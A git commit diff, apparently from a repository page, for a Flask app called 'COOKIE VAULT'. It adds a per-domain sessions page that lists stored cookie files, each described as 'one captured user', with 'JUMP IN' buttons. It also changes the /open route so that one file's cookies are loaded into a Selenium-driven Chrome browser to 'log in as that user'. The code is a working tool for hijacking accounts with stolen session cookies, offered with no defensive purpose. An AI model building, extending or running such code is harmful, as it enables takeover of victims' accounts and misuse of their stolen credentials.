v6: session picker — per-user-session JUMP IN (each source file = one user), fixed chromedriver 153
This commit is contained in:
54
app.py
54
app.py
@@ -178,7 +178,7 @@ HOME_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>CO
|
||||
<td><b>{{d[0]}}</b></td>
|
||||
<td>{{d[1]}}</td>
|
||||
<td class="{{'muted' if d[2] else 'ok'}}">{{utc(d[2]) if d[2] else 'session'}}</td>
|
||||
<td><a class="btn green" href="/open?domain={{d[0]|urlencode}}">LOGIN →</a></td>
|
||||
<td><a class="btn green" href="/sessions?domain={{d[0]|urlencode}}">LOGIN →</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
@@ -375,20 +375,58 @@ def _smart_scan(root):
|
||||
|
||||
# ---------------- LOGIN (session-1 bridge) ----------------
|
||||
|
||||
@app.route("/open")
|
||||
def open_login():
|
||||
@app.route("/sessions")
|
||||
def sessions():
|
||||
domain = request.args.get("domain", "").strip()
|
||||
if not domain:
|
||||
return redirect(url_for("index"))
|
||||
stem = domain.strip(".")
|
||||
like = stem + "%"
|
||||
c = db()
|
||||
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
||||
WHERE domain LIKE ? OR domain LIKE ? ORDER BY (domain = ?) DESC LIMIT 4000""",
|
||||
(like, "%" + stem, domain)).fetchall()
|
||||
sess = c.execute("""SELECT source_file, COUNT(*) as n,
|
||||
MAX(CASE WHEN expiry GLOB '[0-9]*' AND CAST(expiry AS INTEGER) > strftime('%s','now') THEN 1 ELSE 0 END) as has_fresh
|
||||
FROM cookies WHERE domain LIKE ? GROUP BY source_file ORDER BY n DESC LIMIT 300""",
|
||||
("%" + stem + "%",)).fetchall()
|
||||
total = c.execute("SELECT COUNT(*) FROM cookies WHERE domain LIKE ?", ("%" + stem + "%",)).fetchone()[0]
|
||||
c.close()
|
||||
return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total)
|
||||
|
||||
SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>Sessions — COOKIE VAULT</title></head><body>
|
||||
<header><div class=brand>👤 sessions for {{domain}}</div>
|
||||
<a class=btn href="/" style=margin-left:auto>← back</a></header>
|
||||
<main>
|
||||
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Click JUMP to log in as that user.</div>
|
||||
<table>
|
||||
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
|
||||
{% for s in sess %}
|
||||
<tr>
|
||||
<td><b>{{s[0]}}</b></td>
|
||||
<td>{{s[1]}}</td>
|
||||
<td class="{{'ok' if s[2] else 'warn'}}">{{'✓ fresh' if s[2] else 'expired?'}}</td>
|
||||
<td><a class="btn green" href="/open?domain={{domain|urlencode}}&file={{s[0]|urlencode}}">JUMP IN →</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</main></body></html>"""
|
||||
|
||||
@app.route("/open")
|
||||
def open_login():
|
||||
domain = request.args.get("domain", "").strip()
|
||||
srcfile = request.args.get("file", "").strip()
|
||||
if not domain:
|
||||
return redirect(url_for("index"))
|
||||
stem = domain.strip(".")
|
||||
c = db()
|
||||
if srcfile:
|
||||
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
||||
WHERE domain LIKE ? AND source_file = ? LIMIT 4000""",
|
||||
( "%" + stem + "%", srcfile)).fetchall()
|
||||
else:
|
||||
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
||||
WHERE domain LIKE ? OR domain LIKE ? ORDER BY (domain = ?) DESC LIMIT 4000""",
|
||||
( "%" + stem + "%", "%" + stem, domain)).fetchall()
|
||||
c.close()
|
||||
if not rows:
|
||||
return redirect(url_for("index", msg=f"no cookies for {domain}"))
|
||||
return redirect(url_for("index", msg=f"no cookies for {domain}" + (f" from {srcfile}" if srcfile else "")))
|
||||
payload = {"domain": domain, "cookies": [
|
||||
{"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
|
||||
"expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
|
||||
|
||||
@@ -59,7 +59,9 @@ def launch(domain, cookies, tok):
|
||||
opts.add_argument("--start-maximized")
|
||||
opts.add_argument("--window-size=1440,900")
|
||||
opts.add_argument("--disable-gpu")
|
||||
driver = webdriver.Chrome(options=opts)
|
||||
from selenium.webdriver.chrome.service import Service
|
||||
svc = Service(executable_path=os.path.join(SESSION_DIR, "..", "chromedriver.exe"))
|
||||
driver = webdriver.Chrome(service=svc, options=opts)
|
||||
try:
|
||||
SCREENSHOTS[tok] = _png(driver, "starting")
|
||||
host = domain.lstrip(".")
|
||||
|
||||
Reference in New Issue
Block a user